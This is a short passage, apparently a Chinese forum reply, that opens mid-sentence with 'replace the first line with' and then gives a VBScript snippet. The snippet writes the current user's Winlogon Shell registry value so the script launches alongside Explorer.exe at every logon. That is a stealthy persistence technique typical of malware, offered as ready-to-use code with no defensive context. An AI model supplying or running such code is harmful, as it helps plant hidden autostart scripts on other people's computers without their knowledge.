序。。。把第一句换成 Dim fso,w Set fso = CreateObject(\"scripting.filesystemobject\") Set w= Wscript.CreateObject(\"Wscript.shell\") w.RegWrite \"HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell\",\"Explorer.exe \"&Wscript.scriptFullName, \"REG_SZ\"